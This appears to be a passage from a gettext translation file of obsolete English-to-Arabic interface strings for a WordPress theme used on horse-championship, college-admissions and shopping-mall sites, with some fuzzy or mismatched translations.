#~ msgstr "تصدير إلى اكسل"

#~ msgid "Items"
#~ msgstr "عناصر"

#~ msgid "Part of the message"
#~ msgstr "جزء من الرسالة"

#~ msgid "History"
#~ msgstr "التاريخ"

#~ msgid "Move this item to the trash"
#~ msgstr "نقل إلى سلة المهملات"

#~ msgid "The trash"
#~ msgstr "سلة المهملات"

#~ msgid "Contact Us - View the request"
#~ msgstr "اتصل بنا - مشاهدة الطلب"

#~ msgid "state"
#~ msgstr "الحالة"

#~ msgid "Message number"
#~ msgstr "رقم الرسالة"

#~ msgid "Print"
#~ msgstr "طباعة"

#~ msgid "Delete a Message"
#~ msgstr "حذف  الرسالة"

#~ msgid "Messaeg"
#~ msgstr "نص الرسالة"

#~ msgid "Notes"
#~ msgstr "ملاحظات"

# @ total
#~ msgid "Add Note"
#~ msgstr "اضف ملاحظة"

#~ msgid "Excerpt - English"
#~ msgstr "المقتطف - انجليزي"

#~ msgid "Champion Option"
#~ msgstr "خيارات البطولة"

#~ msgid "Saturday"
#~ msgstr "السبت"

#~ msgid "Sunday"
#~ msgstr "الأحد"

#~ msgid "Monday"
#~ msgstr "الإثنين"

#~ msgid "Tuesday"
#~ msgstr "الثلاثاء"

#~ msgid "Wednesday"
#~ msgstr "الأربعاء"

#~ msgid "Thursday"
#~ msgstr "الخميس"

#~ msgid "Friday"
#~ msgstr "الجمعة"

#~ msgid "Time"
#~ msgstr "الوقت"

#~ msgid "AM - PM"
#~ msgstr "صباحاً - مساءً"

#~ msgid "AM"
#~ msgstr "صباحاً"

#~ msgid "PM"
#~ msgstr "مساءً"

#~ msgid "Champions Table"
#~ msgstr "جدول البطولات"

#~ msgid "Download Championships schedule"
#~ msgstr "تحميل جدول البطولة"

#~ msgid "Times of Championship"
#~ msgstr "اوقات البطولة"

#~ msgid "Information Championship"
#~ msgstr "معلومات البطولة"

#~ msgid "© Copyright %d"
#~ msgstr "‏&copy; جميع الحقوق محفوظة %d"

#~ msgid "Direct contact details"
#~ msgstr "بيانات الاتصال المباشر"

#~ msgid "Champion Table"
#~ msgstr "جدول البطولة"

#~ msgid "link Championships schedule"
#~ msgstr "رابط جدول البطولات"

#~ msgid "Attach the picture here"
#~ msgstr "ارفق الصورة هنا"

#~ msgid "Specific Format unsupported"
#~ msgstr "الملف المحدد غير مدعوم"

#~ msgid "Thank you been successfully registered"
#~ msgstr "شكرا لك. تم تسجيلك بنجاح"

#~ msgid "A problem has occurred. Please try again"
#~ msgstr "لقد حدث خطأ، حاول مرة أخرى في وقت لاحق"

#~ msgid "Registration in Championships"
#~ msgstr "التسجيل في البطولة"

#~ msgid "Name of the owner of the horse"
#~ msgstr "اسم مالك الجواد"

#~ msgid "Please type the owner horse"
#~ msgstr "الرجاء كتابة اسم مالك الجواد"

#~ msgid "Genealogical tree"
#~ msgstr "شجرة النسب"

#~ msgid "Browser"
#~ msgstr "استعراض"

#~ msgid "Please select a day"
#~ msgstr "الرجاء تحديد اليوم"

#~ msgid "Year"
#~ msgstr "السنة"

#~ msgid "Complete registration"
#~ msgstr "إتمام التسجيل"

#~ msgid "Login "
#~ msgstr "دخول"

#~ msgid "Thank you for recording - Password"
#~ msgstr "شكراً لتسجيلك - كلمة المرور"

#~ msgid "Legal Services"
#~ msgstr "الخدمات القانونية"

#~ msgid "Article"
#~ msgstr "مقال"

#~ msgid "Location on map"
#~ msgstr "موقعنا على الخريطة"

#~ msgid "Documentation"
#~ msgstr "الوثائق"

# @ total
#~ msgid "Select File"
#~ msgstr "اختر الملفات"

# @ total
#~ msgid "Upload Files"
#~ msgstr "تحميل الملفات"

# @ total
#~ msgid "Please correct the errors highlighted below and try again."
#~ msgstr "الرجاء تصحيح الأخطاء المبينة أدناه وحاول مرة أخرى."

#~ msgid "Horses Cleat"
#~ msgstr "خيول المربط"

#~ msgid "Horses"
#~ msgstr "الخيول"

#~ msgid "Al Nayfat slider"
#~ msgstr "سلايدر النايفات"

#~ msgid "Horse"
#~ msgstr "الخيل"

#~ msgid "Services Center"
#~ msgstr "خدمات المركز"

#~ msgid "Service Center"
#~ msgstr "خدمة المركز"

#~ msgid "Send a Message"
#~ msgstr "ارسل رسالة"

#~ msgid "Booking"
#~ msgstr "الحجوزات"

#~ msgid "Bookings and inquiries"
#~ msgstr "الحجوزات والاستفسارات"

#~ msgid "Your Message"
#~ msgstr "رسالتك"

# @ total
#~ msgid "+ Add new image"
#~ msgstr "اضافة صورة جديدة"

# @ total
#~ msgid "List emails"
#~ msgstr "قائمة الايميلات"

#~ msgid "Export the list of emails"
#~ msgstr "تصدير القائمة البريدية"

#~ msgid "E-mail has been deleted"
#~ msgstr "تم حذف البريد المحدد"

#~ msgid "Do you really want to delete email"
#~ msgstr "هل أنت متأكد من الحذف؟"

#~ msgid "Mailing List"
#~ msgstr "القائمة البريدية"

#~ msgid "Export Emails"
#~ msgstr "تصدير إلى الايميلات"

#~ msgid "Middle Name"
#~ msgstr "اسم الأب"

#~ msgid "Identity expiration date"
#~ msgstr "تاريخ انتهاء الهوية"

#~ msgid "Country of Birth"
#~ msgstr "دولة الميلاد"

#~ msgid "City"
#~ msgstr "المدينة"

#~ msgid "current occupation"
#~ msgstr "الوظيفة الحالية"

#~ msgid "Home phone"
#~ msgstr "هاتف المنزل"

#~ msgid "Qualifications"
#~ msgstr "المؤهلات الدراسية"

#~ msgid "Educational Qualification"
#~ msgstr "المؤهل الدراسي"

#~ msgid "Country's Educational"
#~ msgstr "بلد الجهة التعيلمية"

#~ msgid "Appreciation"
#~ msgstr "التقدير"

#~ msgid "Secondary rate"
#~ msgstr "معدل الثانوية"

#~ msgid "Degree of capacity"
#~ msgstr "درجة القدرات"

#~ msgid "Result of the TOEFL test"
#~ msgstr "نتيجة اختبار التوفل"

#~ msgid "Years Diploma"
#~ msgstr "عدد سنوات الدبلوم"

#~ msgid "Percentage"
#~ msgstr "النسبة المئوية"

#~ msgid "University entrance information"
#~ msgstr "معلومات الالتحاق بالكلية"

#~ msgid "College"
#~ msgstr "الكلية"

#~ msgid "Specialization is required"
#~ msgstr "التخصص المطلوب"

#~ msgid "Second choice"
#~ msgstr "الخيار الثاني"

#~ msgid "Third choice"
#~ msgstr "الخيار الثالث"

#~ msgid "Do you have any health problems?"
#~ msgstr "هل لديك مشاكل صحية ؟"

#~ msgid "If the answer is yes, then what is?"
#~ msgstr "إذا كانت الإجابة نعم فما هي؟"

#~ msgid "Assess the level of English"
#~ msgstr "تقييم لمستواك في اللغة الإنجليزية"

#~ msgid "How did you know we?"
#~ msgstr "كيف تعرفت على كلية الغد"

#~ msgid "Do you already applied for college?"
#~ msgstr "هل سبق ان تقدمت للكلية ؟"

#~ msgid "If you select Yes?"
#~ msgstr "اذا كان نعم حدد ؟"

#~ msgid "Observations and complaints"
#~ msgstr "الشكاوي والاقتراحات"

#~ msgid "Observations and complaints - View the request"
#~ msgstr "الشكاوي والاقتراحات - مشاهدة الطلب"

#~ msgid "Settings"
#~ msgstr "إعدادات"

#~ msgid "Entity name"
#~ msgstr "اسم الجهة"

#~ msgid "No. Years"
#~ msgstr "عدد السنوات"

#~ msgid "Duration"
#~ msgstr "المدة"

#~ msgid "For Women"
#~ msgstr "للطالبات"

#~ msgid "For Mans"
#~ msgstr "للطلاب"

#~ msgid "Al-Ghad on twitter"
#~ msgstr "الغد على تويتر"

#~ msgid "Management colleges"
#~ msgstr "إدارة الكليات"

#~ msgid "Marketing and Public Relations"
#~ msgstr "التسويق والعلاقات العامة"

#~ msgid "To receive a new Al-Ghad write your email and subscribe"
#~ msgstr "ليصلك جديد كليات الغد أكتب بريدك الالكتروني واشترك"

#~ msgid "About colleges menu - English"
#~ msgstr "قائمة عن الكلية ‪-‬ انجليزي"

#~ msgid "About colleges menu - Arabic"
#~ msgstr "قائمة عن الكلية ‪-‬ عربي"

#~ msgid "Management colleges menu - English"
#~ msgstr "قائمة إدارة الكلية - إنجليزي"

#~ msgid "Management colleges menu - Arabic"
#~ msgstr "قائمة إدارة الكلية - عربي"

#~ msgid "Marketing and Public Relations menu - English"
#~ msgstr "قائمة التسويق والعلاقات - إنجليزي"

#~ msgid "Marketing and Public Relations menu - Arabic"
#~ msgstr "قائمة التسويق والعلاقات - عربي"

#~ msgid "Specialties"
#~ msgstr "التخصصات"

#~ msgid "Banners"
#~ msgstr "البنرات"

#~ msgid "Banner"
#~ msgstr "البنر"

#~ msgid "Careers"
#~ msgstr "الوظائف"

#~ msgid "Career"
#~ msgstr "الوظائف"

#~ msgid "School Calendar"
#~ msgstr "التقويم المدرسي"

#~ msgid "Colleges"
#~ msgstr "الكليات"

#~ msgid "Whatsapp"
#~ msgstr "واتساب"

#~ msgid "high school student"
#~ msgstr "طالب ثانوي"

#~ msgid "Healthy Diploma"
#~ msgstr "دبلوم صحي"

#~ msgid "College Option"
#~ msgstr "خيارات الكلية"

#~ msgid "Service option"
#~ msgstr "خيارات الخدمة"

#~ msgid ""
#~ "Get Icon from <a href=\"http://fortawesome.github.io/Font-Awesome/icons/"
#~ "\" target=\"_blank\">http://fortawesome.github.io/Font-Awesome/icons/</a>"
#~ msgstr ""
#~ "اجلب الايقونة من <a href=\"http://fortawesome.github.io/Font-Awesome/"
#~ "icons/\" target=\"_blank\">http://fortawesome.github.io/Font-Awesome/"
#~ "icons/</a>"

#~ msgid "Service link Option"
#~ msgstr "خيارات رابط الخدمة"

#~ msgid "Target service"
#~ msgstr "هدف رابط الخدمة"

#~ msgid "Opinion Poll"
#~ msgstr "استطلاع الرأي"

#~ msgid "Please type your Email"
#~ msgstr "الرجاء كتابة بريدك الإلكتروني"

#~ msgid "Has been added to your email successfully"
#~ msgstr "تمت إضافة البريد الإلكتروني بنجاح .. شكرا لك"

#~ msgid "Hijri"
#~ msgstr "هجري"

#~ msgid "Gregorian"
#~ msgstr "ميلادي"

#~ msgid "Student"
#~ msgstr "طالب/ة"

#~ msgid "Government employee"
#~ msgstr "موظف‪/‬ة حكومي"

#~ msgid "Private sector employee"
#~ msgstr "موظف‪/‬ة قطاع خاص"

#~ msgid "ex:"
#~ msgstr "مثال :"

#~ msgid "Secondary Abu Bakr"
#~ msgstr "ثانوية أبوبكر الصديق"

#~ msgid "please type your secondary rate"
#~ msgstr "الرجاء كتابة معدلك في الثانوية"

#~ msgid "please type your degree of capacity"
#~ msgstr "الرجاء كتابة درجتك في القدرات"

#~ msgid "please type your degree of achievement"
#~ msgstr "الرجاء كتابة درجتك في التحصيلي"

#~ msgid "Institute or college name"
#~ msgstr "اسم المعهد أو الكلية"

#~ msgid "Acceptable"
#~ msgstr "مقبول"

#~ msgid "Newspapers"
#~ msgstr "صحف"

#~ msgid "Google"
#~ msgstr "جوجل"

#~ msgid "LinkedIn"
#~ msgstr "لنكدان"

#~ msgid "Radio"
#~ msgstr "راديو"

#~ msgid "TV"
#~ msgstr "تلفزيون"

#~ msgid "Plates"
#~ msgstr "لوحات"

#~ msgid "Trade shows"
#~ msgstr "معارض"

#~ msgid "Advertising websites"
#~ msgstr "اعلانات المواقع الالكترونية"

#~ msgid "Email messages"
#~ msgstr "رسائل البريد الالكتروني"

#~ msgid "By school"
#~ msgstr "عن طريق المدرسة"

#~ msgid "Web Portal"
#~ msgstr "البوابة الإلكترونية"

#~ msgid "Contact uniform number"
#~ msgstr "الاتصال بالرقم الموحد"

#~ msgid "By visiting the college"
#~ msgstr "عن طريق زيارة الكلية"

#~ msgid ""
#~ "It acknowledged that all the information is correct and on my "
#~ "responsibility"
#~ msgstr "أقر بأن جميع المعلومات صحيحة وعلى مسئوليتي"

#~ msgid "Apply Now"
#~ msgstr "تقدم الآن"

#~ msgid "College that you want to message"
#~ msgstr "الجهة التي تريد مراسلتها"

#~ msgid "Type of certificate"
#~ msgstr "نوع الشهادة"

#~ msgid "please write a type of certificate"
#~ msgstr "الرجاء كتابة نوع الشهادة"

#~ msgid "Current job"
#~ msgstr "الوظيفة الحالية"

#~ msgid "(Optional)"
#~ msgstr "(اختياري)"

#~ msgid "Are you still working?"
#~ msgstr "هل لا تزال تعمل؟"

#~ msgid "Add field"
#~ msgstr "اضف حقل"

#~ msgid "Job  "
#~ msgstr "الوظيفة المتقدم عليها"

#~ msgid "Job advertised"
#~ msgstr "الوظيفة المعلن عنها"

#~ msgid "Wanted Job"
#~ msgstr "الوظيفة المطلوبة"

#~ msgid "Expected salary"
#~ msgstr "الراتب المتوقع"

#~ msgid "Less than 3,000 riyals"
#~ msgstr "أقل من 3000 ريال"

#~ msgid "More than 3,000 riyals"
#~ msgstr "أكثر من 3000 ريال"

#~ msgid "Sorry not found what you're looking for.."
#~ msgstr "عفواً لم يتم العثور على ما تبحث عنه‪..‬"

#~ msgid "Select your qualification"
#~ msgstr "حدد المؤهل العلمي"

#~ msgid "Please select your Years of Experience"
#~ msgstr "الرجاء اختيار سنوات الخبرة"

#~ msgid "Select your Years of Experience"
#~ msgstr "حدد سنوات الخبرة"

# @ total
#~ msgid "Upload CV"
#~ msgstr "رفع السيرة الذاتية"

#~ msgid "Human verification"
#~ msgstr "التحقق البشري"

#~ msgid "Saudi Arabia - Riyadh"
#~ msgstr "المملكة العربية السعودية - الرياض"

#~ msgid "Biography"
#~ msgstr "السيرة الذاتية"

#~ msgid "About university - Arabic"
#~ msgstr "عن الجامعة - عربي"

#~ msgid "University administration - English"
#~ msgstr "إدارة الجامعة - انجليزي"

#~ msgid "University administration - Arabic"
#~ msgstr "إدارة الجامعة - عربي "

#~ msgid "Deans"
#~ msgstr "العمادات"

#~ msgid "Hidden"
#~ msgstr "مخفي"

#~ msgid "Side of the Services"
#~ msgstr "بجانب الخدمات"

#~ msgid "Top of the calendar"
#~ msgstr "أعلى التقويم"

#~ msgid "Text Button"
#~ msgstr "نص الزر"

#~ msgid "Only top calendar"
#~ msgstr "يعرض فقط في أعلى التقويم "

#~ msgid "Widget Area"
#~ msgstr "الودجت"

#~ msgid "Add widgets here to appear in your sidebar."
#~ msgstr "اضف الودجت"

#~ msgid "Mobile 1"
#~ msgstr "رقم الجوال 1"

#~ msgid "Mobile2"
#~ msgstr "رقم الجوال 2"

#~ msgid "Site"
#~ msgstr "الموقع"

#, fuzzy
#~ msgid "Settings WP-Hijri"
#~ msgstr "إعدادات"

#, fuzzy
#~ msgid "Arabic"
#~ msgstr "النافبار - عربي"

#, fuzzy
#~ msgid "Other Options"
#~ msgstr "خيارات العرض"

# @ total
#, fuzzy
#~ msgid "Add new correction"
#~ msgstr "اضافة موقع جديد"

# @ total
#, fuzzy
#~ msgid "Default Start"
#~ msgstr "القيمة الإفتراضية"

#, fuzzy
#~ msgid "Save Data"
#~ msgstr "حفظ"

#~ msgid "Cancel"
#~ msgstr "إلغاء"

# @ total
#, fuzzy
#~ msgid "Delete Confirm"
#~ msgstr "حذف"

# @ total
#, fuzzy
#~ msgid "Hijri Archives"
#~ msgstr "الارشيف لـ "

# @ total
#, fuzzy
#~ msgid "Archives"
#~ msgstr "الارشيف لـ "

# @ total
#, fuzzy
#~ msgid "Select Year"
#~ msgstr "أختيار  الكل"

# @ total
#, fuzzy
#~ msgid "Select Month"
#~ msgstr "اختر المقال"

# @ total
#, fuzzy
#~ msgid "Select Day"
#~ msgstr "أختيار  الكل"

#, fuzzy
#~ msgid "Display as dropdown"
#~ msgstr "خيارات العرض"

#, fuzzy
#~ msgid "Year: %s"
#~ msgstr "السنة"

#, fuzzy
#~ msgid "Settings saved."
#~ msgstr "حفظ الإعدادات"

#~ msgid "Arabic Thumbnail"
#~ msgstr "الصورة البارزة العربية"

#~ msgid "Copyright  <span>%s</span> All Rights Reserved "
#~ msgstr "جميع الحقوق محفوظة لـ <span>%s</span>"

#~ msgid "Product option"
#~ msgstr "خيارات المنتج"

# @ total
#, fuzzy
#~ msgid "Select Image"
#~ msgstr "اختر  الصورة"

#~ msgid "<span>Our</span> Products"
#~ msgstr "منتجاتنا"

#~ msgid "info <span>Contact</span>"
#~ msgstr "معلومات <span>الاتصال</span>"

#~ msgid "Contact <span>Us</span>"
#~ msgstr "تواصل <span>معنا</span>"

#~ msgid "Companies"
#~ msgstr "الشركات"

#~ msgid "Company option"
#~ msgstr "خيارات الشركة"

#~ msgid "Our branches"
#~ msgstr "فروعنا"

#~ msgid "View All Branches"
#~ msgstr "عرض كل الفروع"

#~ msgid "Brands"
#~ msgstr "الماركات"

#~ msgid "Latest offers"
#~ msgstr "أحدث العروض"

#~ msgid "Riyals"
#~ msgstr "ريال"

#~ msgid "Parent Brand:"
#~ msgstr "الماركة الرئيسي:"

#~ msgid "All Brands"
#~ msgstr "كل الماركات"

#~ msgid "View Brand"
#~ msgstr "عرض الماركة"

#~ msgid "Branch"
#~ msgstr "الفروع"

#~ msgid "Parent:"
#~ msgstr "الرئيسي :"

#~ msgid "Search City"
#~ msgstr "بحث في المدن"

#~ msgid "All City"
#~ msgstr "كل المدن"

#~ msgid "Edit City"
#~ msgstr "تعديل المدينة"

#~ msgid "Update City"
#~ msgstr "تحديث المدينة"

# @ total
#~ msgid "Add New City"
#~ msgstr "اضافة مدينة جديدة"

#~ msgid "New City Name"
#~ msgstr "اسم المدينة الجديد"

#~ msgid "Separate Cities with commas"
#~ msgstr "افضل بين المدن بفاصلة"

#~ msgid "Add or remove City"
#~ msgstr "اضافة أو إزالة المدن"

#~ msgid "Choose from the most used City"
#~ msgstr "اختر من المدن الأكثر استخداماً"

#~ msgid "No City found."
#~ msgstr "لم يتم العثور على المدن"

#~ msgid "Offers"
#~ msgstr "العروض"

#~ msgid "Brand option"
#~ msgstr "خيارات الماركة"

#~ msgid "Show in Home"
#~ msgstr "عرض في الرئيسية"

#~ msgid "Albume Option"
#~ msgstr "خيارات معرض الصور"

#~ msgid "Photos Branch"
#~ msgstr "صور الفرع"

#~ msgid "Old Price"
#~ msgstr "السعر القديم"

#~ msgid "Latest Products"
#~ msgstr "أحدث المنتجات"

#~ msgid "Newsletter Subscription"
#~ msgstr "الاشتراك بالنشرة البريدية"

#~ msgid "Write your email here"
#~ msgstr "أكتب بريدك الإلكتروني هنا"

#~ msgid "Write your e-mail correctly"
#~ msgstr "اكتب بريديك الإلكتروني بصورة صحيحة"

#~ msgid "Will be added Please wait .."
#~ msgstr "الرجاء الإنتظار ..."

# @ total
#~ msgid "+"
#~ msgstr "+"

# @ total
#~ msgid "&#8211;"
#~ msgstr "&#8211;"

# @ total
#~ msgid "Select or Upload Files"
#~ msgstr "اختر الملفات"

# @ total
#~ msgid "Select or Upload Images"
#~ msgstr "اختيار او رفع الصورة"

#~ msgid "Photos of Branch"
#~ msgstr "صور من الفرع"

# @ total
#~ msgid "Post"
#~ msgstr "موضوع"

#~ msgid "Hanoi, Vietnam"
#~ msgstr "فيتنام"

#~ msgid "View Slider"
#~ msgstr "عرض السلايد"

# @ total
#~ msgid "Add New Slider"
#~ msgstr "اضف سلايد  جديد"

#~ msgid "Edit Slider"
#~ msgstr "تعديل السلايد"

#~ msgid "Update Slider"
#~ msgstr "تحديث السلايد"

#~ msgid "Search Slider"
#~ msgstr "بحث في السلايد"

#~ msgid "Not found in Trash"
#~ msgstr "سلة المهملات فارغة"

#~ msgid "View Product"
#~ msgstr "عرض المنتج"

# @ total
#~ msgid "Add New"
#~ msgstr "اضافة جديد"

#~ msgid "Update"
#~ msgstr "تحديث"

#~ msgid "Parent Client:"
#~ msgstr "العميل الرئيسي"

#~ msgid "View Client"
#~ msgstr "عرض العميل"

#~ msgid "Tel."
#~ msgstr "الهاتف"

# @ total
#~ msgid "Select a Category"
#~ msgstr "أختر القسم"

#~ msgid "Captcha"
#~ msgstr "كود التحقق"

#~ msgid "You must type the verification code numbers and only 4 fields"
#~ msgstr "يجب كتابة كود التحقق أرقام فقط و من 4 حقول"

#~ msgid "more"
#~ msgstr "المزيد"

#~ msgid "Parent Horse:"
#~ msgstr "الخيل  الرئيسي:"

#~ msgid "View Horse"
#~ msgstr "عرض الخيل"

#~ msgid "remove"
#~ msgstr "حذف"

#~ msgid "Search..."
#~ msgstr "بحث ..."

#~ msgid "Horse Gallery"
#~ msgstr "معرض صور الخيل"

#~ msgid "Are you sure you want to delete this item?"
#~ msgstr "هل أنت متأكد من حذف العنصر ؟"

#~ msgid "Pedigree"
#~ msgstr "النسب"

#~ msgid "Add"
#~ msgstr "اضافة"

#~ msgid "<strong>Last</strong> News"
#~ msgstr "‏<strong>آخر</strong> الأخبار"

#~ msgid "Sorry there are currently no championships."
#~ msgstr "المعذرة لا توجد بطولات في الوقت الحالي ."

#~ msgid "URL Client"
#~ msgstr "رابط العميل"

#~ msgid "Youtube Code"
#~ msgstr "كود  اليوتيوب"

#~ msgid ""
#~ "<span style='color:black'>Example:</span> http://www.youtube.com/watch?"
#~ "v=<span style='color:red'>btAl8L1PWSo</span>"
#~ msgstr ""
#~ "‏<span style='color:black'>مثال:</span> http://www.youtube.com/watch?"
#~ "v=<span style='color:red'>btAl8L1PWSo</span>"

#~ msgid "projects"
#~ msgstr "المشاريع"

#~ msgid "NEWS & UPDATES"
#~ msgstr "الأخبار والتحديثات"

#~ msgid "Custom navbar Menu"
#~ msgstr "قائمة النافبار"

#~ msgid "Custom Sidebar Menu"
#~ msgstr "قائمة  السايدبار"

# @ total
#~ msgid "Add New News"
#~ msgstr "اضف خبر جديد"

#~ msgid "categories"
#~ msgstr "الأقسام"

#~ msgid "View News"
#~ msgstr "عرض الخبر"

#~ msgid "There is currently no news added"
#~ msgstr "لاتوجد أخبار مضافة"

#~ msgid "Empty the trash !"
#~ msgstr "سلة المهملات فارغة !"

#, fuzzy
#~ msgid "Taxonomy Order"
#~ msgstr "التصنيف"

#, fuzzy
#~ msgid "Taxonomies"
#~ msgstr "التصنيف"

#, fuzzy
#~ msgid "Taxonomy Title"
#~ msgstr "التصنيف"

#~ msgid "General"
#~ msgstr "عام"

#, fuzzy
#~ msgid "Contributor"
#~ msgstr "استمرار"

# @ total
#, fuzzy
#~ msgid "Editor"
#~ msgstr "تعديل"

#, fuzzy
#~ msgid "Administrator"
#~ msgstr "المسؤول في المملكة"

#~ msgid "here"
#~ msgstr "هنا"

#~ msgid "Taxonomy Terms Order"
#~ msgstr "ترتيب الأقسام"

#~ msgid "View partner"
#~ msgstr "عرض الشريك"

# @ total
#~ msgid "Add New partner"
#~ msgstr "اضف شريك  جديد"

#~ msgid "Edit partner"
#~ msgstr "تعديل الشريك"

#~ msgid "Update partner"
#~ msgstr "تحديث الشريك"

#~ msgid "Search partners"
#~ msgstr "بحث في الشركاء"

#~ msgid "Activation of the human verification (captcha)"
#~ msgstr "تفعيل التحقق البشري (captcha)"

# @ total
#~ msgid "Upload new files"
#~ msgstr "رفع ملف جديد"

#~ msgid "This email is registerd! Enter new email."
#~ msgstr "البريد الإلكتروني مضاف مسبقاً , الرجاء ادخال بريد جديد !"

#~ msgid "This mobile no. is registerd! Enter new mobile no."
#~ msgstr "رقم الجوال مضاف مسبقاً الرجاء ادخال رقم جديد ! "

#~ msgid "Thank you. insert done."
#~ msgstr "شكراً لك , تمت الاضافة بنجاح"

#~ msgid "to"
#~ msgstr "إلى"

#~ msgid "Enter Keyword"
#~ msgstr "ادخل كلمة البحث"

# @ total
#~ msgid "Select a category"
#~ msgstr "اختر القسم"

#~ msgid "GO"
#~ msgstr "إذهب"

#~ msgid "all"
#~ msgstr "الكل"

#~ msgid "Browse By"
#~ msgstr "استعراض بـ"

#~ msgid "Shop"
#~ msgstr "المتجر"

#~ msgid ""
#~ "Subscribe to our newsletter and we’ll keep you up-to-date with theme news "
#~ "and special deals. Get in touch everytime."
#~ msgstr ""
#~ "ضع بريدك الالكتروني ورقم هاتفك لتصلك أحدث الاخبار والعروض. كن على تواصل "
#~ "طول الوقت"

#~ msgid "Send Now"
#~ msgstr "أرسـل الآن"

#~ msgid "© 2014 AlAndalus Mall - All rights reserved."
#~ msgstr "© 2014 الأندلس مول - جميع الحقوق محفوظة. "

# @ total
#~ msgid "You must Enter email or mobile no."
#~ msgstr "يجب إدخال البريد الإلكتروني او رقم الجوال"

#~ msgid "Please enter a valid Email adress !!"
#~ msgstr "اكتب البريد الإلكتروني بصورة صحيحة !"

#~ msgid "Custom navbar Menu - Arabic"
#~ msgstr "قائمة النافبار- عربي"

#~ msgid "URL partner"
#~ msgstr "رابط الشريك"

#~ msgid "Date & Time"
#~ msgstr "التاريخ والوقت"

#~ msgid "To"
#~ msgstr "إلى"

#~ msgid "Shops"
#~ msgstr "المتاجر"

#~ msgid "Shop Category"
#~ msgstr "تصنيف المتجر"

# @ total
#~ msgid "Select Shop"
#~ msgstr "اختر المتجر"

#~ msgid "Recent Events"
#~ msgstr "آخر الفعاليات"

#~ msgid "Contact Us   "
#~ msgstr "معلومات التواصل"

#~ msgid "Enlarge map"
#~ msgstr "تكبير الخريطة"

#~ msgid "Options Social Sites"
#~ msgstr "اعدادات  المواقع الإجتماعية"

#~ msgid "Facebook Options"
#~ msgstr "خيارات الفيسبوك"

#~ msgid "Google Plus Page Link"
#~ msgstr "رابط قوقل بلس"

#~ msgid "Show"
#~ msgstr "عرض"

#~ msgid "Hide"
#~ msgstr "اخفاء"

#~ msgid "Twitter Page Link"
#~ msgstr "رابط صفحة التويتر"

#~ msgid "Linked in options"
#~ msgstr "خيارات لينكدان"

#~ msgid "Google Plus Options"
#~ msgstr "خيارت قوقل بلس"

#~ msgid "Video Category"
#~ msgstr "أقسام الفيديو"

#~ msgid "send"
#~ msgstr "ارسل"

#~ msgid "Enter numbers shown in the picture"
#~ msgstr "أدخل الأرقام الظاهرة في الصورة التالية"

#~ msgid "Categories activation model the messaging"
#~ msgstr "تفعيل الأقسام في المراسلة"

#~ msgid ""
#~ "Activation (in the case of activation, will be the adoption of e-mail to "
#~ "send a copy of the sections and alert only)"
#~ msgstr ""
#~ "تفعيل ( في حالة التفعيل ,, سيتم إعتماد البريد الإلكتروني للأقسام لارسال "
#~ "نسخة و تنبيه فقط)"

#~ msgid "The message type"
#~ msgstr "نوع الرسالة"

#~ msgid "Top Pattren"
#~ msgstr "النمط العلوي(الزخرفة)"

#~ msgid "bottom Pattren"
#~ msgstr "الزخارف السفلية"

#~ msgid "Reference"
#~ msgstr "المرجع"

#~ msgid "Job applications"
#~ msgstr "طلبات التوظيف"

#~ msgid "Send your CV"
#~ msgstr "ارسل سيرتك الذاتية"

#~ msgid "CV"
#~ msgstr "السيرة الذاتية"

#~ msgid "Join us"
#~ msgstr "اشترك معنا"

#~ msgid "Through your email or social media channels"
#~ msgstr "من خلال بريدك الالكتروني او قنوات التواصل الاجتماعي"

#~ msgid "Taqnia on"
#~ msgstr "تقنية على "

#~ msgid "Custom navbar menu English"
#~ msgstr "قائمة النافبار - انجليزي"

#~ msgid "Custom navigation footer"
#~ msgstr "قائمة التنقل أسفل الموقع"

#~ msgid "Custom English navigation footer"
#~ msgstr "قائمة الفوتر- انجليزي"

#~ msgid "banners"
#~ msgstr "البنرات"

#~ msgid "View Banner"
#~ msgstr "عرض البنر"

#~ msgid "Search .."
#~ msgstr "بحث.."

#~ msgid "All Categories"
#~ msgstr "كل الأقسام"

#~ msgid "Parent Category"
#~ msgstr "القسم الرئيسية :"

#~ msgid "Edit Category"
#~ msgstr "تعديل القسم"

#~ msgid "Search Categories "
#~ msgstr "بحث في الأقسام"

#~ msgid "Add or remove Categories"
#~ msgstr "اضافة او إزالة القسم"

#~ msgid "Choose from the most used Categories"
#~ msgstr "اختر من الأقسام  الأكثر استخداماً"

#~ msgid "Not Found"
#~ msgstr "المحتوى فارغ"

#~ msgid "Taqnia"
#~ msgstr "تقنية"

#~ msgid "Excuse me, what you are looking dementia is not available here"
#~ msgstr "عفواً , ما تبحث عنه غير موجود"

#~ msgid "Twitter page"
#~ msgstr "رابط صفحة التويتر"

#~ msgid "Google + page"
#~ msgstr "رابط صفحة قوقل بلس"

#~ msgid "Linked in page"
#~ msgstr "رابط حساب لينكدان"

#~ msgid "Options Banner"
#~ msgstr "خيارات البنرات"

#~ msgid "URL banners"
#~ msgstr "رابط  البنر"

#~ msgid "Orange"
#~ msgstr "برتقالي"

#~ msgid "Cerise"
#~ msgstr "كرزي"

#~ msgid "Purple"
#~ msgstr "أرجواني"

#~ msgid "Mask"
#~ msgstr "القناع"

#~ msgid "Image"
#~ msgstr "الصورة إنجي"

#~ msgid "YouTube options"
#~ msgstr "خيارات اليوتيوب"

#~ msgid "YouTube Channel Link"
#~ msgstr "رابط صفحة الفيسبوك"

#~ msgid "edit"
#~ msgstr "تعديل "

# @ total
#~ msgid "delete"
#~ msgstr "حذف"

#~ msgid "Video Code"
#~ msgstr "كود الفيديو"

#~ msgid "Photo Album"
#~ msgstr "ألبوم الصور"

#~ msgid "View Service"
#~ msgstr "عرض الخدمة"

# @ total
#~ msgid "Add New Service"
#~ msgstr "اضف خدمة  جديد"

#~ msgid "Edit Service"
#~ msgstr "عرض الخدمة"

#~ msgid "All Videos"
#~ msgstr "جميع الفيديو"

#~ msgid "View Videos"
#~ msgstr "عرض الفيديو"

# @ total
#~ msgid "Add New Videos"
#~ msgstr "اضف فيديو  جديد"

#~ msgid "Edit Videos"
#~ msgstr "تعديل الفيديو"

#~ msgid "Search in Videos"
#~ msgstr "بحث في الفيديو"

#~ msgid "All Album"
#~ msgstr "كل الألبومات"

#~ msgid "View Album"
#~ msgstr "عرض الألبوم"

# @ total
#~ msgid "Add new Album"
#~ msgstr "اضف ألبوم جديد"

#~ msgid "Edit Album"
#~ msgstr "تعديل الألبوم"

#~ msgid "update Album"
#~ msgstr "تحديث الألبوم"

#~ msgid "Search Album"
#~ msgstr "بحث في الألبومات"

#~ msgid "Go to .."
#~ msgstr "ذهاب إلى ..."

#~ msgid "Add New Project"
#~ msgstr "أضف مشروع جديد "

#~ msgid "Add Project"
#~ msgstr "أضف مشروع"

